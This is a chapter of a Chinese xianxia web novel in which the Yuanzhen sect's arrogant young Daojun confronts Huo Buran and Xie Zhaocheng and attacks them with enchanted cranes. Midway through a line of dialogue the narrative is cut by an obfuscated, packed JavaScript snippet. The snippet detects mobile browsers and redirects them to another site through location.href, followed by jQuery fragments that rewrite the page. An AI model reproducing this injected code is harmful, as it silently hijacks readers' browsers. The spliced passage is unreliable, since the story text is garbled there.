众人抬头望去,只见来人皆是青袍加身,手持拂尘,脚踏金莲。
“元真教?”
元真教以莲花自比,暗喻清白无邪,占地广阔,门下吸纳合并众多小派,自从八年前的仙门大会上力压其他三派,摘得“仙首”称号之后,已如高空日月悬于整个修真界之上。
虽然其底下的附属门派众多,但主教却扩张严谨,其所在之地名为“仙宫”,教中等级以道袍颜色作为区分,白袍为吸纳的外门,本家普通教众则身穿青袍。
天玄派的几人见来者穿着青袍心中一凛,他们虽与元真教是友派,但彼此之间并无过多走动。两派联系也通常由钟正出面,这种登门的举动还是头一次。
“快,一个个站好了。”庞飞迅速把豆丁们摆成一个小方阵,刚想嘱咐几句,头顶的元真教众已缓缓下降。
众人本以为他们会直接飞下,然而只有两个带头的青袍教众飞到地上,他们身后各自跟着一串教众,彼此呈阶梯状相对而立,看起来像是准备迎接什么人。
霍不染抬头凝望空中,暗自思索:“能让元真教摆出如此阵仗,恐怕来人地位不低。”
忽然,袖口处传来拉力。
她低头看去,谢照乘在扇子的掩饰下偷偷张嘴。
霍不染以为他有要事相商忙凝神细看,辨出他的口型:莫——要——冷——脸!
“……”
无聊。
她又把目光投到空中,心中却不解道:“我何时冷过脸?”
谢公子见自己的好心当成驴肝肺,恨恨想道:“你这倔驴往那一站气质比剑锋还冷冽,元真教那群眼高于顶的家伙定会看不顺眼!”
他心中虽骂个不停,手上却暗自使劲想把霍不染赶到身后。
得想办法把她遮起来,否则对上元真教定会吃亏。
霍不染被他的小动作扰得心烦,一甩袖扫掉了谢公子的手。
“……”谢照乘被沉香气味迎头痛击,缓了半响才透过气来。
不远处,天玄众人已把豆丁们挤在身后,企图挡住这群不省心的小家伙。
底下精彩纷呈,天上也起了架势。只见元真教众拂尘一甩,齐声唱道:“有——请——道——君——!”
话音落下,一道金色的阶梯缓缓出现在他们脚下,从下望去,金光闪烁,犹如天梯。
阶梯尽头,交叉的拂尘移开,一道身影缓缓显现。
那是一个身着黄袍,眉目如画的少年。
谢公子遥遥望去,先是注意到少年的衣袍,以他的经验其上的九只仙鹤都是以金丝勾勒,而最引人瞩目的当属他耳朵上的巨大金环,环上缠绕的法带写满符咒,一看就是高品阶的护身法器。
少年缓缓走下阶梯,身后教众则踏着金莲护在一旁。
饶是谢照乘也不免心中暗道:“好大的排场。”
和他发出相同感叹的还有被掩在身后的小豆丁们。
“他是谁呀?看着好气派。”
“我知道!头戴莲花冠,脚踏登云梯,是元真教的道君!叫、叫……”
“笨蛋!他叫元天崇,是元真教掌教的儿子。”
“你才是笨蛋。”
“你才是!”
眼看短腿短胳膊又要绕在一起,庞飞急道:“嘘!都闭嘴!”
然而他终究晚了一步,小胖墩由于体型优势自信一对三,随后被抱团挤了出去。
他滚啊滚啊,因体态圆润,皮肤光滑,一路畅通无阻地滚到了青袍教众之间,元天崇的正前方。
青玄派众人本想去接,却被元真教教众呵斥道:“道君降临,还不退去一边。”
庞飞等人自是不肯,然而又不敢与元真教强行冲突,只得冲着小胖墩使眼色。
那小胖墩倒也机灵,见情形不对,就想赶紧起来。但他长得太胖,腿又过短,兀自挣扎一番也只是原地滚了滚。
谢照乘略过人群看去,心中暗道:“让你平日里吃那么多,如今可要摔个大跟头。”
另一边,元天崇已踏下最后一阶,他像是没看到前方有人照常抬脚向前。
谢公子见小胖墩关键时候转身一撅,把屁股露在外面顿时有些哭笑不得,心道:“这胖墩今日恐怕要挨上一脚。也罢,他皮厚肉多,屁股上受一遭也能长个记性。”
可下一秒,他却凝起目光盯着元天崇走过的地方,地上隐隐泛着的金光在日光之下十分耀眼。
这厮竟然在鞋底也刻了法器?!
这要踩在小胖墩身上,不得把他压成肉饼。
“快闪开!”
天玄众人立刻想上前阻拦,却被青袍教众团团围住推搡着难以前进。
谢照乘正想趁乱去救,却瞥见身旁白衣拂过。
他抬头看到霍不染的侧脸,心中一跳:“糟糕。”
果然,清泉剑出鞘飞去,直接在元天崇踩过去的瞬间挡在小胖墩背上。
叮——
一道气流从相击处荡开,印在鞋底的法器瞬间碎成两半。
“师兄!”小胖墩只觉后背一凉,赶紧手脚并用朝天玄众人跑去。
清泉剑挡在他身后,逼散青袍教众。
霍不染全程未发一言,但维护之意十分明显。
元天崇阴沉地望过来,却在看到她的刹那,视线一顿,随后转身走来。
伴着他的落脚,地上又出现浅蓝色的光晕,这是有其他法器补了上来。
谢照乘轻轻拍着扇子,见他装腔作势又浑身镶满法器,心中冷笑道:“一个几乎没有灵力的普通人,居然靠着这些上等法器作威作福,还自比仙人,真是可笑。”
“霍不染。”元天崇站在二人面前,开口道:“当年一别,我们终于又相见了。”
嗯?
谢公子立刻竖起耳朵,静静旁听。
可等来等去也不见霍不染开口,他狐疑地瞟了一眼。
见她雪白的脸上没有表情,但眼神漠然嘴角紧绷,看着似乎有些不快。
相比于她的不语,元天崇倒是很愉悦。
“一晃已经过去了八年。”他望着她,仿佛在寻找彼此当年的模样,“作为我的手下败将,你应该忘不了我吧?”
偷听的谢公子眼睛一瞪,似是不相信自己的耳朵。
霍不染居然会输给这个绣花枕头?
他立刻去看霍不染的反应,却见她把头撇过一边并不理睬。
元天崇则是认定她躲闪,眼中透出得意,嚣张道:“听说云虚回去之后没两年就死了,果然小的不行老的也没用。”
“咳。”谢照乘终是看不过去,打断他:“这位……元道君是吧?”
他不等元天崇回话,抢先道:“不知尊者安好?”
尊者,是元天崇的父亲,也就是元真教掌教元执的称谓。
谢照乘觉得这对父子大概是想修仙想疯了,一人自称尊者,一人冠以道君,还真当自己能够羽化登仙,与天同寿。
听到别人提起父亲,元天崇心中不喜,傲慢道:“你是何人?也敢谈论尊者?”
谢照乘等的就是他这句话,立刻无辜道:“道君恕罪,我只是一心崇拜元真教,心中激动难耐,时刻揣摩效仿道君之言行。”
他这话说得委婉,直白过来就是:你问候他人死去的师傅,我也问候问候你的父亲。
元天崇也不是蠢笨之人,立刻反应过来,双目一瞪怒道:“你敢咒我父亲?”
“我可没这么说。”谢照乘灵活地调转轮椅藏到霍不染身后,嘴上不停,“道君怎会如此联想?难道日有所思……”
叮——
霍不染执剑挡住一击。
谢照乘趁机探头,补充道:“夜有所梦?”
元天崇收起笑意,曲手一弹,数枚金针从指缝飞出,却又被挡下。
他不耐地看着霍不染,“你曾承诺不对我出手,今日可要食言?”
霍不染冷声道:“不出手。”
“那你让开。”
霍不染依旧拦在谢照乘身前,“不让。”
元天崇被她弄得一噎,恰逢谢照乘又在一旁添柴加火:“听到没有?我们高风亮节的清泉守只守不攻,却依旧能让你寸步难行。”
霍不染轻斥一声“莫要多嘴”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891479|176481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,阻了谢公子的继续蹦跶。
元天崇把他二人互动看在眼里,忽然收起怒意又挂上笑容,道:“你竟与这种人成了朋友。”
谢公子顿时不乐意了,“什么朋友?她是我的护卫。”
元天崇不再理他们转身走到天玄派众人面前,指着小胖墩道:“把他拿下。”
庞飞挡在最前面,脸上堆起笑容:“元道君,小孩子不懂事您大人有大量……”
“拿下。”
元真教教众俯首领命,然而刚走了两步就被清泉剑拦住。
元天崇看向霍不染,“我管教自家友派,这种事轮不到你来插手吧。”
天玄派的几人听他态度如此傲慢,脸上都显出怒意。
青袍教众虽惧怕神器威力,但紧跟主子步伐,态度傲慢地喊道:“真君面前,收起法器。你们难道想反?”
“退下。”
教众刚要怒斥,发现是原天崇的命令,于是弯腰退到一边。
“区区稚子,我自然不会计较。”元天崇盯着霍不染,说道:“但是元真教的脸面却不能不顾。”
霍不染终于开口:“你想如何?”
“这样吧。”元天崇思索片刻,笑着说:“你挨我三下,今日这事就过去了。”
谢公子难得见到如此厚颜,嘴一张刚想说话却见清泉剑已然入鞘。
“可以。”
他看着霍不染的背影,想去拽她却被元真教教众推到一边。
谢公子像个无头苍蝇原地转了半圈,哪能受得了这种气当下便想发作,却被赶过来的庞飞和高止摁住。
“谢长老,莫要冲动。”
谢照乘冷笑一声,“元真教势力再大,也管不到我谢家头上。”
庞飞知他背景,但还是劝道:“暂且看看,清泉守既能应下定有解决之法。”
怎么解决?打不还口骂不还手?他们什么关系?
谢照乘看着已经走到场中的两人,心里一堵:“这两人……真是气死我也!”
“小财主。”他怒冲冲看向若椒,见她俯在耳边轻声说道:“你且放心。”她做了个手势,挑眉道:“来的是小子,又不是老子。如若他们敢撒野,那就一不做二不休——”她狠狠砍下,“全都抛下山崖,尸骨都没了,看他们能奈我何。”
谢照乘挠了挠脸,佩服道:“辣椒姑娘,真乃神人也。”
若椒不高兴道:“说了叫我辣椒妹,我——咦?怎么回事?”
“你想做什么!”
霍不染本已做好准备,却见元天崇拂尘一挥把豆丁们吹到一边,与天玄派众人分成两股。然后他伸手拂过道袍,原本绣着的三只仙鹤突然腾空飞起,向三个方向攻去。
他竟然同时出击,把豆丁、霍不染、其余人放在三个对等的位置上,打得人措手不及。
“怎么了?我只说受我三下,有说一下一下受吗?”
霍不染眉眼下压,清泉剑和剑鞘分别往两边飞去,而自己则打算强行受下仙鹤攻击。
“无耻!”
谢照乘一拍轮椅,唤出望仙。
凌厉的弦音凝聚起来,冲着元天崇的眉心刺去。
同时心中又怒道:“只要解决了施法之人就可破局,她到底与这心狠手辣的贼子有何关系,竟然不肯伤他!”
如此一想,心里更加气愤,曲调愈加急迫。
然而这三只仙鹤却宛如真仙,须臾间已至头顶。
霍不染一心二用,为其余两方筑起结界,同时脚下一踏避开脖颈上的攻击。
可到底三方支撑,力有不逮,仙鹤瞄准机会朝她左肩啄去!
嗖——
绿光一闪而过,三只仙鹤如同被施了咒法,滞于空中。
它们猛地煽动翅膀维持平衡,却还是直挺挺落在地上,霍不染定睛一看发现它们眼球乱转已然气绝。
咽气的刹那,一抹红点于脑侧浮现,眨眼之间地上只剩三具骷髅架子,哪还有什么仙鹤。
“钟师兄!”
霍不染转过身去。
钟正依旧维持射箭姿势,半睁的眼中锋芒毕现。